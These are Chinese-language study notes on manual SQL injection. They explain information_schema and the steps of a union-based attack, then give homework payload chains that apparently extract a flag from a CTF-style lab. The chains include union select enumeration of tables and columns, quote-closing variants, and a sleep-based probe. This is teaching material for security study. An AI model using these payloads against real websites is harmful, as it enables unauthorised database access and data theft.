SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作
SQL注入的本质:我们也能操作别人的数据库
数据库结构:库:就是一堆表组成的数据集合 表:类似Excel,有行和列组成的二维表 字段:表中的列称为字段 记录:表中的行称为记录 单元格:行和列相交的地方成为单元格
在数据库里有一个系统库:information_schema
在他里面有个存放所有库名的表:schemata schema_name 库名
在他里面有个存着所有表名的表:tables table_name 表名
在他里面还有个存放着所有字段的表:columns column_name 字段名
基本查询语句:
select * from 表:从表里查询所有内容
where :有条件的从表中选取数据
and和or:条件有点多的时候从表中选取数据
order by :根据指定的结果集/指定的列进行排序
limit 0,1:从第一行起显示一条记录
union select :将多个表拼接在一起(在进行联合查询的时候要注意前面的表和后面的表字段数要相同)
SQL手注的一般流程:
1、判断注入点(注入点:存在SQL注入的地方)
判断注入点:通过具有差异化现象的语句判断我们的语句是否进入到数据库
方法:1、运算符检测(利用减乘除(id=2-1或id=2/2或id=0.5*2),加号相当于空格,如要使用加号,则需先通过URL编码(id=0.5%2B0.5)
2、and 1=1 and 1=2 (and -1=-1 and -2=-1)
3、and sleep(10)
2、判断字段数
利用 order by 判断字段数 可使用二分法
3、判断回显点
4、查询内容
查询数据库版本:version()
查询数据库名字:database()
查询表名
查询字段名
查询字段内容
作业:
1、
id=2-1 order by 3
id=2-1 order by 4
由上可知,有3个字段
id=2-1 union select 1,2,3
可知2和3是两个回显点
id=2-1 union select 1,2,database()
知当前数据库名为 error
id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
得知该数据库中的第一个表为error_flag,欲得到其他的表只需将limit 后面的0改成其他数字的即可
id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 0,1
得知第一个字段为id
id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 1,1
得知第二个字段为flag
id=1 and 1=2 union select 1,2,flag from error.error_flag limit 0,1
至此,得到flag
2、
id=1‘ and 1=1 -- qwe
id=1' and 1=2 -- qwe
id=1' and 1=2 union select 1,2,database()
3、id=1') and 1=2 union select 1,2,database() -- qwe
4、id=1") and 1=2 union select 1,2,database() -- qwe